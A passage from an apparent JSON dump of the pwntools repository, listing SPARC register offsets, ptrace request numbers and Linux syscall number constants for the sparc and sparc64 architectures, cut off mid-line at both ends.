Constant('UREG_G0',0)\nUREG_G1 = Constant('UREG_G1',1)\nUREG_G2 = Constant('UREG_G2',2)\nUREG_G3 = Constant('UREG_G3',3)\nUREG_G4 = Constant('UREG_G4',4)\nUREG_G5 = Constant('UREG_G5',5)\nUREG_G6 = Constant('UREG_G6',6)\nUREG_G7 = Constant('UREG_G7',7)\nUREG_I0 = Constant('UREG_I0',8)\nUREG_I1 = Constant('UREG_I1',9)\nUREG_I2 = Constant('UREG_I2',10)\nUREG_I3 = Constant('UREG_I3',11)\nUREG_I4 = Constant('UREG_I4',12)\nUREG_I5 = Constant('UREG_I5',13)\nUREG_I6 = Constant('UREG_I6',14)\nUREG_I7 = Constant('UREG_I7',15)\nUREG_WIM = Constant('UREG_WIM',0)\nUREG_FADDR = Constant('UREG_FADDR',0)\nUREG_FP = Constant('UREG_FP',14)\nUREG_RETPC = Constant('UREG_RETPC',15)\nPT_PSR = Constant('PT_PSR',0x0)\nPT_PC = Constant('PT_PC',0x4)\nPT_NPC = Constant('PT_NPC',0x8)\nPT_Y = Constant('PT_Y',0xc)\nPT_G0 = Constant('PT_G0',0x10)\nPT_WIM = Constant('PT_WIM',0x10)\nPT_G1 = Constant('PT_G1',0x14)\nPT_G2 = Constant('PT_G2',0x18)\nPT_G3 = Constant('PT_G3',0x1c)\nPT_G4 = Constant('PT_G4',0x20)\nPT_G5 = Constant('PT_G5',0x24)\nPT_G6 = Constant('PT_G6',0x28)\nPT_G7 = Constant('PT_G7',0x2c)\nPT_I0 = Constant('PT_I0',0x30)\nPT_I1 = Constant('PT_I1',0x34)\nPT_I2 = Constant('PT_I2',0x38)\nPT_I3 = Constant('PT_I3',0x3c)\nPT_I4 = Constant('PT_I4',0x40)\nPT_I5 = Constant('PT_I5',0x44)\nPT_I6 = Constant('PT_I6',0x48)\nPT_FP = Constant('PT_FP',0x48)\nPT_I7 = Constant('PT_I7',0x4c)\nRW_L0 = Constant('RW_L0',0x00)\nRW_L1 = Constant('RW_L1',0x04)\nRW_L2 = Constant('RW_L2',0x08)\nRW_L3 = Constant('RW_L3',0x0c)\nRW_L4 = Constant('RW_L4',0x10)\nRW_L5 = Constant('RW_L5',0x14)\nRW_L6 = Constant('RW_L6',0x18)\nRW_L7 = Constant('RW_L7',0x1c)\nRW_I0 = Constant('RW_I0',0x20)\nRW_I1 = Constant('RW_I1',0x24)\nRW_I2 = Constant('RW_I2',0x28)\nRW_I3 = Constant('RW_I3',0x2c)\nRW_I4 = Constant('RW_I4',0x30)\nRW_I5 = Constant('RW_I5',0x34)\nRW_I6 = Constant('RW_I6',0x38)\nRW_I7 = Constant('RW_I7',0x3c)\nSF_L0 = Constant('SF_L0',0x00)\nSF_L1 = Constant('SF_L1',0x04)\nSF_L2 = Constant('SF_L2',0x08)\nSF_L3 = Constant('SF_L3',0x0c)\nSF_L4 = Constant('SF_L4',0x10)\nSF_L5 = Constant('SF_L5',0x14)\nSF_L6 = Constant('SF_L6',0x18)\nSF_L7 = Constant('SF_L7',0x1c)\nSF_I0 = Constant('SF_I0',0x20)\nSF_I1 = Constant('SF_I1',0x24)\nSF_I2 = Constant('SF_I2',0x28)\nSF_I3 = Constant('SF_I3',0x2c)\nSF_I4 = Constant('SF_I4',0x30)\nSF_I5 = Constant('SF_I5',0x34)\nSF_FP = Constant('SF_FP',0x38)\nSF_PC = Constant('SF_PC',0x3c)\nSF_RETP = Constant('SF_RETP',0x40)\nSF_XARG0 = Constant('SF_XARG0',0x44)\nSF_XARG1 = Constant('SF_XARG1',0x48)\nSF_XARG2 = Constant('SF_XARG2',0x4c)\nSF_XARG3 = Constant('SF_XARG3',0x50)\nSF_XARG4 = Constant('SF_XARG4',0x54)\nSF_XARG5 = Constant('SF_XARG5',0x58)\nSF_XXARG = Constant('SF_XXARG',0x5c)\nPTRACE_SUNATTACH = Constant('PTRACE_SUNATTACH',10)\nPTRACE_SUNDETACH = Constant('PTRACE_SUNDETACH',11)\nPTRACE_GETREGS = Constant('PTRACE_GETREGS',12)\nPTRACE_SETREGS = Constant('PTRACE_SETREGS',13)\nPTRACE_GETFPREGS = Constant('PTRACE_GETFPREGS',14)\nPTRACE_SETFPREGS = Constant('PTRACE_SETFPREGS',15)\nPTRACE_READDATA = Constant('PTRACE_READDATA',16)\nPTRACE_WRITEDATA = Constant('PTRACE_WRITEDATA',17)\nPTRACE_READTEXT = Constant('PTRACE_READTEXT',18)\nPTRACE_WRITETEXT = Constant('PTRACE_WRITETEXT',19)\nPTRACE_GETFPAREGS = Constant('PTRACE_GETFPAREGS',20)\nPTRACE_SETFPAREGS = Constant('PTRACE_SETFPAREGS',21)\nPTRACE_GETUCODE = Constant('PTRACE_GETUCODE',29)\nSYS_accept = Constant('SYS_accept',99)\nSYS_accept4 = Constant('SYS_accept4',323)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',281)\nSYS_adjtimex = Constant('SYS_adjtimex',219)\nSYS_afs_syscall = Constant('SYS_afs_syscall',227)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_aplib = Constant('SYS_aplib',255)\nSYS_bdflush = Constant('SYS_bdflush',225)\nSYS_bind = Constant('SYS_bind',353)\nSYS_bpf = Constant('SYS_bpf',349)\nSYS_brk = Constant('SYS_brk',17)\nSYS_capget = Constant('SYS_capget',21)\nSYS_capset = Constant('SYS_capset',22)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',13)\nSYS_chown32 = Constant('SYS_chown32',35)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',334)\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405)\nSYS_clock_getres = Constant('SYS_clock_getres',258)\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406)\nSYS_clock_gettime = Constant('SYS_clock_gettime',257)\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',403)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',259)\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407)\nSYS_clock_settime = Constant('SYS_clock_settime',256)\nSYS_clock_settime64 = Constant('SYS_clock_settime64',404)\nSYS_clone = Constant('SYS_clone',217)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',98)\nSYS_copy_file_range = Constant('SYS_copy_file_range',357)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',221)\nSYS_delete_module = Constant('SYS_delete_module',222)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',90)\nSYS_dup3 = Constant('SYS_dup3',320)\nSYS_epoll_create = Constant('SYS_epoll_create',193)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',319)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',194)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',309)\nSYS_epoll_wait = Constant('SYS_epoll_wait',195)\nSYS_eventfd = Constant('SYS_eventfd',313)\nSYS_eventfd2 = Constant('SYS_eventfd2',318)\nSYS_execv = Constant('SYS_execv',11)\nSYS_execve = Constant('SYS_execve',59)\nSYS_execveat = Constant('SYS_execveat',350)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',188)\nSYS_faccessat = Constant('SYS_faccessat',296)\nSYS_fadvise64 = Constant('SYS_fadvise64',209)\nSYS_fadvise64_64 = Constant('SYS_fadvise64_64',210)\nSYS_fallocate = Constant('SYS_fallocate',314)\nSYS_fanotify_init = Constant('SYS_fanotify_init',329)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',330)\nSYS_fchdir = Constant('SYS_fchdir',176)\nSYS_fchmod = Constant('SYS_fchmod',124)\nSYS_fchmodat = Constant('SYS_fchmodat',295)\nSYS_fchown = Constant('SYS_fchown',123)\nSYS_fchown32 = Constant('SYS_fchown32',32)\nSYS_fchownat = Constant('SYS_fchownat',287)\nSYS_fcntl = Constant('SYS_fcntl',92)\nSYS_fcntl64 = Constant('SYS_fcntl64',155)\nSYS_fdatasync = Constant('SYS_fdatasync',253)\nSYS_fgetxattr = Constant('SYS_fgetxattr',177)\nSYS_finit_module = Constant('SYS_finit_module',342)\nSYS_flistxattr = Constant('SYS_flistxattr',180)\nSYS_flock = Constant('SYS_flock',131)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',186)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',171)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',62)\nSYS_fstat64 = Constant('SYS_fstat64',63)\nSYS_fstatat64 = Constant('SYS_fstatat64',289)\nSYS_fstatfs = Constant('SYS_fstatfs',158)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',235)\nSYS_fsync = Constant('SYS_fsync',95)\nSYS_ftruncate = Constant('SYS_ftruncate',130)\nSYS_ftruncate64 = Constant('SYS_ftruncate64',84)\nSYS_futex = Constant('SYS_futex',142)\nSYS_futex_time64 = Constant('SYS_futex_time64',422)\nSYS_futimesat = Constant('SYS_futimesat',288)\nSYS_getcpu = Constant('SYS_getcpu',308)\nSYS_getcwd = Constant('SYS_getcwd',119)\nSYS_getdents = Constant('SYS_getdents',174)\nSYS_getdents64 = Constant('SYS_getdents64',154)\nSYS_getdomainname = Constant('SYS_getdomainname',162)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_getegid32 = Constant('SYS_getegid32',70)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_geteuid32 = Constant('SYS_geteuid32',69)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgid32 = Constant('SYS_getgid32',53)\nSYS_getgroups = Constant('SYS_getgroups',79)\nSYS_getgroups32 = Constant('SYS_getgroups32',115)\nSYS_getitimer = Constant('SYS_getitimer',86)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',223)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',304)\nSYS_getpagesize = Constant('SYS_getpagesize',64)\nSYS_getpeername = Constant('SYS_getpeername',141)\nSYS_getpgid = Constant('SYS_getpgid',224)\nSYS_getpgrp = Constant('SYS_getpgrp',81)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getppid = Constant('SYS_getppid',197)\nSYS_getpriority = Constant('SYS_getpriority',100)\nSYS_getrandom = Constant('SYS_getrandom',347)\nSYS_getresgid32 = Constant('SYS_getresgid32',111)\nSYS_getresuid32 = Constant('SYS_getresuid32',109)\nSYS_getrlimit = Constant('SYS_getrlimit',144)\nSYS_get_robust_list = Constant('SYS_get_robust_list',301)\nSYS_getrusage = Constant('SYS_getrusage',117)\nSYS_getsid = Constant('SYS_getsid',252)\nSYS_getsockname = Constant('SYS_getsockname',150)\nSYS_getsockopt = Constant('SYS_getsockopt',118)\nSYS_gettid = Constant('SYS_gettid',143)\nSYS_gettimeofday = Constant('SYS_gettimeofday',116)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getuid32 = Constant('SYS_getuid32',44)\nSYS_getxattr = Constant('SYS_getxattr',172)\nSYS_init_module = Constant('SYS_init_module',190)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',322)\nSYS_io_cancel = Constant('SYS_io_cancel',271)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',269)\nSYS_io_getevents = Constant('SYS_io_getevents',272)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',361)\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416)\nSYS_io_setup = Constant('SYS_io_setup',268)\nSYS_io_submit = Constant('SYS_io_submit',270)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',215)\nSYS_kcmp = Constant('SYS_kcmp',341)\nSYS_kern_features = Constant('SYS_kern_features',340)\nSYS_kexec_load = Constant('SYS_kexec_load',306)\nSYS_keyctl = Constant('SYS_keyctl',283)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lchown32 = Constant('SYS_lchown32',31)\nSYS_lgetxattr = Constant('SYS_lgetxattr',173)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',292)\nSYS_listen = Constant('SYS_listen',354)\nSYS_listxattr = Constant('SYS_listxattr',178)\nSYS_llistxattr = Constant('SYS_llistxattr',179)\nSYS__llseek = Constant('SYS__llseek',236)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',208)\nSYS_lremovexattr = Constant('SYS_lremovexattr',182)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',170)\nSYS_lstat = Constant('SYS_lstat',40)\nSYS_lstat64 = Constant('SYS_lstat64',132)\nSYS_madvise = Constant('SYS_madvise',75)\nSYS_mbind = Constant('SYS_mbind',303)\nSYS_membarrier = Constant('SYS_membarrier',351)\nSYS_memfd_create = Constant('SYS_memfd_create',348)\nSYS_migrate_pages = Constant('SYS_migrate_pages',302)\nSYS_mincore = Constant('SYS_mincore',78)\nSYS_mkdir = Constant('SYS_mkdir',136)\nSYS_mkdirat = Constant('SYS_mkdirat',285)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',286)\nSYS_mlock = Constant('SYS_mlock',237)\nSYS_mlock2 = Constant('SYS_mlock2',356)\nSYS_mlockall = Constant('SYS_mlockall',239)\nSYS_mmap = Constant('SYS_mmap',71)\nSYS_mmap2 = Constant('SYS_mmap2',56)\nSYS_mount = Constant('SYS_mount',167)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',307)\nSYS_mprotect = Constant('SYS_mprotect',74)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',278)\nSYS_mq_notify = Constant('SYS_mq_notify',277)\nSYS_mq_open = Constant('SYS_mq_open',273)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',276)\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',275)\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418)\nSYS_mq_unlink = Constant('SYS_mq_unlink',274)\nSYS_mremap = Constant('SYS_mremap',250)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',65)\nSYS_munlock = Constant('SYS_munlock',238)\nSYS_munlockall = Constant('SYS_munlockall',240)\nSYS_munmap = Constant('SYS_munmap',73)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',332)\nSYS_nanosleep = Constant('SYS_nanosleep',249)\nSYS__newselect = Constant('SYS__newselect',230)\nSYS_nfsservctl = Constant('SYS_nfsservctl',254)\nSYS_nice = Constant('SYS_nice',34)\nSYS_oldlstat = Constant('SYS_oldlstat',202)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',284)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',333)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',148)\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',149)\nSYS_perfctr = Constant('SYS_perfctr',18)\nSYS_perf_event_open = Constant('SYS_perf_event_open',327)\nSYS_personality = Constant('SYS_personality',191)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',321)\nSYS_pivot_root = Constant('SYS_pivot_root',146)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',363)\nSYS_pkey_free = Constant('SYS_pkey_free',364)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',362)\nSYS_poll = Constant('SYS_poll',153)\nSYS_ppoll = Constant('SYS_ppoll',298)\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',414)\nSYS_prctl = Constant('SYS_prctl',147)\nSYS_pread = Constant('SYS_pread',67)\nSYS_preadv = Constant('SYS_preadv',324)\nSYS_preadv2 = Constant('SYS_preadv2',358)\nSYS_prlimit64 = Constant('SYS_prlimit64',331)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',338)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',339)\nSYS_pselect6 = Constant('SYS_pselect6',297)\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',413)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_pwrite = Constant('SYS_pwrite',68)\nSYS_pwritev = Constant('SYS_pwritev',325)\nSYS_pwritev2 = Constant('SYS_pwritev2',359)\nSYS_query_module = Constant('SYS_query_module',184)\nSYS_quotactl = Constant('SYS_quotactl',165)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',205)\nSYS_readdir = Constant('SYS_readdir',204)\nSYS_readlink = Constant('SYS_readlink',58)\nSYS_readlinkat = Constant('SYS_readlinkat',294)\nSYS_readv = Constant('SYS_readv',120)\nSYS_reboot = Constant('SYS_reboot',55)\nSYS_recvfrom = Constant('SYS_recvfrom',125)\nSYS_recvmmsg = Constant('SYS_recvmmsg',328)\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417)\nSYS_recvmsg = Constant('SYS_recvmsg',113)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',192)\nSYS_removexattr = Constant('SYS_removexattr',181)\nSYS_rename = Constant('SYS_rename',128)\nSYS_renameat = Constant('SYS_renameat',291)\nSYS_renameat2 = Constant('SYS_renameat2',345)\nSYS_request_key = Constant('SYS_request_key',282)\nSYS_rmdir = Constant('SYS_rmdir',137)\nSYS_rseq = Constant('SYS_rseq',365)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',102)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',104)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',103)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',106)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',101)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',107)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',105)\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',326)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',260)\nSYS_sched_getattr = Constant('SYS_sched_getattr',344)\nSYS_sched_getparam = Constant('SYS_sched_getparam',242)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',246)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',247)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',244)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',248)\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',261)\nSYS_sched_setattr = Constant('SYS_sched_setattr',343)\nSYS_sched_setparam = Constant('SYS_sched_setparam',241)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',243)\nSYS_sched_yield = Constant('SYS_sched_yield',245)\nSYS_seccomp = Constant('SYS_seccomp',346)\nSYS_select = Constant('SYS_select',93)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420)\nSYS_sendfile = Constant('SYS_sendfile',39)\nSYS_sendfile64 = Constant('SYS_sendfile64',140)\nSYS_sendmmsg = Constant('SYS_sendmmsg',336)\nSYS_sendmsg = Constant('SYS_sendmsg',114)\nSYS_sendto = Constant('SYS_sendto',133)\nSYS_setdomainname = Constant('SYS_setdomainname',163)\nSYS_setfsgid = Constant('SYS_setfsgid',229)\nSYS_setfsgid32 = Constant('SYS_setfsgid32',94)\nSYS_setfsuid = Constant('SYS_setfsuid',228)\nSYS_setfsuid32 = Constant('SYS_setfsuid32',91)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgid32 = Constant('SYS_setgid32',89)\nSYS_setgroups = Constant('SYS_setgroups',80)\nSYS_setgroups32 = Constant('SYS_setgroups32',82)\nSYS_sethostname = Constant('SYS_sethostname',88)\nSYS_setitimer = Constant('SYS_setitimer',83)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',305)\nSYS_setns = Constant('SYS_setns',337)\nSYS_setpgid = Constant('SYS_setpgid',185)\nSYS_setpriority = Constant('SYS_setpriority',96)\nSYS_setregid = Constant('SYS_setregid',127)\nSYS_setregid32 = Constant('SYS_setregid32',112)\nSYS_setresgid32 = Constant('SYS_setresgid32',110)\nSYS_setresuid32 = Constant('SYS_setresuid32',108)\nSYS_setreuid = Constant('SYS_setreuid',126)\nSYS_setreuid32 = Constant('SYS_setreuid32',72)\nSYS_setrlimit = Constant('SYS_setrlimit',145)\nSYS_set_robust_list = Constant('SYS_set_robust_list',300)\nSYS_setsid = Constant('SYS_setsid',175)\nSYS_setsockopt = Constant('SYS_setsockopt',355)\nSYS_set_tid_address = Constant('SYS_set_tid_address',166)\nSYS_settimeofday = Constant('SYS_settimeofday',122)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setuid32 = Constant('SYS_setuid32',87)\nSYS_setxattr = Constant('SYS_setxattr',169)\nSYS_sgetmask = Constant('SYS_sgetmask',199)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',134)\nSYS_sigaction = Constant('SYS_sigaction',198)\nSYS_sigaltstack = Constant('SYS_sigaltstack',28)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',311)\nSYS_signalfd4 = Constant('SYS_signalfd4',317)\nSYS_sigpending = Constant('SYS_sigpending',183)\nSYS_sigprocmask = Constant('SYS_sigprocmask',220)\nSYS_sigreturn = Constant('SYS_sigreturn',216)\nSYS_sigsuspend = Constant('SYS_sigsuspend',201)\nSYS_socket = Constant('SYS_socket',97)\nSYS_socketcall = Constant('SYS_socketcall',206)\nSYS_socketpair = Constant('SYS_socketpair',135)\nSYS_ssetmask = Constant('SYS_ssetmask',200)\nSYS_stat = Constant('SYS_stat',38)\nSYS_stat64 = Constant('SYS_stat64',139)\nSYS_statfs = Constant('SYS_statfs',157)\nSYS_statfs64 = Constant('SYS_statfs64',234)\nSYS_statx = Constant('SYS_statx',360)\nSYS_stime = Constant('SYS_stime',233)\nSYS_swapoff = Constant('SYS_swapoff',213)\nSYS_swapon = Constant('SYS_swapon',85)\nSYS_symlink = Constant('SYS_symlink',57)\nSYS_symlinkat = Constant('SYS_symlinkat',293)\nSYS_sync = Constant('SYS_sync',36)\nSYS_syncfs = Constant('SYS_syncfs',335)\nSYS__sysctl = Constant('SYS__sysctl',251)\nSYS_sysfs = Constant('SYS_sysfs',226)\nSYS_sysinfo = Constant('SYS_sysinfo',214)\nSYS_syslog = Constant('SYS_syslog',207)\nSYS_sys_setaltroot = Constant('SYS_sys_setaltroot',280)\nSYS_tgkill = Constant('SYS_tgkill',211)\nSYS_time = Constant('SYS_time',231)\nSYS_timer_create = Constant('SYS_timer_create',266)\nSYS_timer_delete = Constant('SYS_timer_delete',265)\nSYS_timerfd = Constant('SYS_timerfd',312)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',316)\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',315)\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',264)\nSYS_timer_gettime = Constant('SYS_timer_gettime',263)\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',408)\nSYS_timer_settime = Constant('SYS_timer_settime',262)\nSYS_timer_settime64 = Constant('SYS_timer_settime64',409)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',187)\nSYS_truncate = Constant('SYS_truncate',129)\nSYS_truncate64 = Constant('SYS_truncate64',77)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',159)\nSYS_umount2 = Constant('SYS_umount2',45)\nSYS_uname = Constant('SYS_uname',189)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',290)\nSYS_unshare = Constant('SYS_unshare',299)\nSYS_uselib = Constant('SYS_uselib',203)\nSYS_userfaultfd = Constant('SYS_userfaultfd',352)\nSYS_ustat = Constant('SYS_ustat',168)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',310)\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',412)\nSYS_utimes = Constant('SYS_utimes',138)\nSYS_vfork = Constant('SYS_vfork',66)\nSYS_vhangup = Constant('SYS_vhangup',76)\nSYS_wait4 = Constant('SYS_wait4',7)\nSYS_waitid = Constant('SYS_waitid',279)\nSYS_waitpid = Constant('SYS_waitpid',212)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',121)\n"
  },
  {
    "path": "pwnlib/constants/linux/sparc64.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_wait4 = Constant('__NR_wait4',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execv = Constant('__NR_execv',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_chown = Constant('__NR_chown',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_brk = Constant('__NR_brk',17)\n__NR_perfctr = Constant('__NR_perfctr',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_capget = Constant('__NR_capget',21)\n__NR_capset = Constant('__NR_capset',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_sigaltstack = Constant('__NR_sigaltstack',28)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_stat = Constant('__NR_stat',38)\n__NR_sendfile = Constant('__NR_sendfile',39)\n__NR_lstat = Constant('__NR_lstat',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_umount2 = Constant('__NR_umount2',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_memory_ordering = Constant('__NR_memory_ordering',52)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_reboot = Constant('__NR_reboot',55)\n__NR_symlink = Constant('__NR_symlink',57)\n__NR_readlink = Constant('__NR_readlink',58)\n__NR_execve = Constant('__NR_execve',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_fstat = Constant('__NR_fstat',62)\n__NR_getpagesize = Constant('__NR_getpagesize',64)\n__NR_msync = Constant('__NR_msync',65)\n__NR_vfork = Constant('__NR_vfork',66)\n__NR_pread = Constant('__NR_pread',67)\n__NR_pwrite = Constant('__NR_pwrite',68)\n__NR_mmap = Constant('__NR_mmap',71)\n__NR_munmap = Constant('__NR_munmap',73)\n__NR_mprotect = Constant('__NR_mprotect',74)\n__NR_madvise = Constant('__NR_madvise',75)\n__NR_vhangup = Constant('__NR_vhangup',76)\n__NR_mincore = Constant('__NR_mincore',78)\n__NR_getgroups = Constant('__NR_getgroups',79)\n__NR_setgroups = Constant('__NR_setgroups',80)\n__NR_getpgrp = Constant('__NR_getpgrp',81)\n__NR_setitimer = Constant('__NR_setitimer',83)\n__NR_swapon = Constant('__NR_swapon',85)\n__NR_getitimer = Constant('__NR_getitimer',86)\n__NR_sethostname = Constant('__NR_sethostname',88)\n__NR_dup2 = 